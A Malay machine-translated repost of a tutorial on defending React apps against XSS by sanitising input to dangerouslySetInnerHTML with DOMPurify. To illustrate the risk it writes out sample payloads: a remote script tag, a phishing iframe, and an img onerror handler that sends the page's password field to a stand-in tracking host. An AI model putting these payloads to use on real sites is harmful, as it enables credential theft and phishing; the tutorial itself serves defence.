Imej muka depan oleh Lautaro Andreani
...
TL: DR; Membutakan lambakan kandungan ke dalam SetInnerHTML yang berbahaya adalah betul - berbahaya. Pastikan anda membersihkan sebarang input yang anda hantar kepada SetInnerHTML secara berbahaya melainkan anda mempunyai kawalan eksplisit ke atas input tersebut.
Komponen berikut berfungsi sebagai contoh mudah untuk mengurangkan risiko serangan XSS melalui SetInnerHTML yang berbahaya:
//https://github.com/cure53/DOMPurify import React from "react"; import DOMPurify from "dompurify"; const sanitize = (dirty) => DOMPurify.sanitize(dirty); const DangerousHtml = ({ innerHTML, tag }) => { const clean = sanitize(innerHTML); if (typeof tag === "undefined") { return <div dangerouslySetInnerHTML={{ __html: clean }} />; } return <tag dangerouslySetInnerHTML={{ __html: clean }} />; }; export default DangerousHtml;
Dengan menggunakan komponen DangerousHtml yang dipesan lebih dahulu, kami boleh mengurangkan secara mendadak risiko eksploitasi XSS sambil kami membersihkan input kami sebelum ia sampai ke prop SetInnerHTML yang berbahaya sebenarnya
DOMPurify juga sangat boleh dikonfigurasikan, jadi mungkin anda ingin mempunyai berbilang komponen seperti contoh kami untuk mengendalikan kes penggunaan tertentu atau membenarkan beberapa contoh di bawah secara eksplisit.
Di bawah ialah beberapa contoh ringkas tentang cara eksploitasi boleh berlaku:
XSS boleh dilakukan kerana React tidak akan menanggalkan teg skrip yang menunjukkan muatan berniat jahat.
Kami juga tidak sepatutnya melepasi iFrames dengan cara ini. Sebaliknya, kita harus menyerahkan URL dan mana-mana atribut "selamat" lain sebagai prop dan menjadikannya sendiri dalam teg iFrame untuk mengekalkan kawalan kebolehan dan sumber pemaparannya, atau mempunyai komponen iFrame khusus.
Sebagai contoh, pertimbangkan untuk mengikuti markup berniat jahat yang kami terima daripada permintaan API. Jika kami menetapkannya secara membuta tuli melalui berbahayaSetInnerHTML, kami akan memberikan pengguna output ini:
// Bad markup going in <div dangerouslySetInnerHTML={{ __html: `<p> Hi <script src="https://example.com/malicious-tracking"></script> Fiona, here is the link to enter your bank details: <iframe src="https://example.com/defo-not-the-actual-bank"></iframe> </p>`, }} />
<!-- Bad markup rendered on the DOM --> <div> <p> Hi <script src="https://example.com/malicious-tracking"></script> Fiona, here is the link to enter your bank details: <iframe src="https://example.com/defo-not-the-actual-bank"></iframe> </p> </div>
Walau bagaimanapun, sebaliknya menggunakan komponen DangerousHTML kami, bermakna kami telah mengurangkan sebahagian besar risiko yang mungkin dihadapi oleh pengguna:
// Bad markup going in <DangerousHtml innerHTML={`<p> Hi <script src="https://example.com/malicious-tracking"></script> Fiona, here is the link to enter your bank details: <iframe src="https://example.com/defo-not-the-actual-bank"></iframe> </p>`} />
<!-- Clean markup rendered on the DOM --> <div> <p>Hi Fiona, here is the link to enter your bank details:</p> </div>
Fiona mungkin menganggap tapak web tersebut rosak atau tiada kandungan atas sebab tertentu - tetapi ini masih lebih baik daripada dipancing untuk mendapatkan butiran bank mereka!
Sesetengah elemen DOM mempunyai sifat khas yang boleh kita salah guna yang patut kita lindungi diri kita daripadanya.
Dalam contoh ini, kita boleh menjalankan beberapa JS pada
Sebagai contoh, diberikan perkara berikut:
// Bad markup going in <div dangerouslySetInnerHTML={{ __html: ` <p> Hola <img src='none.png' onerror='fetch("https://example.com/malicious-tracking?password=" + document.querySelector("input#password").value);' /> Sharon </p>`, }} />
<!-- Bad markup rendered on the DOM --> <div> <p> Hola <img src="none.png" onerror='fetch("https://example.com/malicious-tracking?password=" + document.querySelector("input#password").value);' /> Sharon </p> </div>
Dalam keadaan ini, markup beracun kami mencuri data daripada DOM apabila permintaan imej akhirnya gagal dan pengguna tidak akan tahu.
Kami boleh mengurangkan ini sekali lagi dengan komponen DangerousHtml kami
// Bad markup going in <DangerousHtml innerHTML={` <p> Hola <img src='none.png' onerror='fetch("https://example.com/malicious-tracking?password=" + document.querySelector("input#password").value);' /> Sharon </p>`} />
<!-- Clean markup rendered on the DOM --> <div> <p> Hola <img src="none.png" /> Sharon </p> </div>
Memandangkan hujah bahawa kami mungkin benar-benar ingin melaksanakan beberapa JS untuk menunjukkan imej sandaran, kami sekali lagi tidak seharusnya mempercayai HTML mentah dan tidak bersih untuk melakukan ini untuk kami dan lebih baik diberikan sama ada mempunyai fallbackImageURL atau onError prop yang kami boleh menambah secara eksplisit pada tag imej kami seperti:
// Usual imports const MyImageComponent = ({ fallbackUrl, url }) => { // Usual component setup const displayFallbackImage = (evt) => { // If there is no fallback, do nothing if (!fallbackUrl) return; // set the url to the fallbackUrl evt.target.src = fallbackUrl; }; return ( <img src={url} onerror={displayFallbackImage} // ... any other props /> ); };
...
Artikel asal: https://timbryan.dev/posts/react-xss-via-dangerouslySetInnerHtml
Atas ialah kandungan terperinci Kurangkan eksploitasi XSS apabila menggunakan React's `dangerously SetInnerHTML`. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!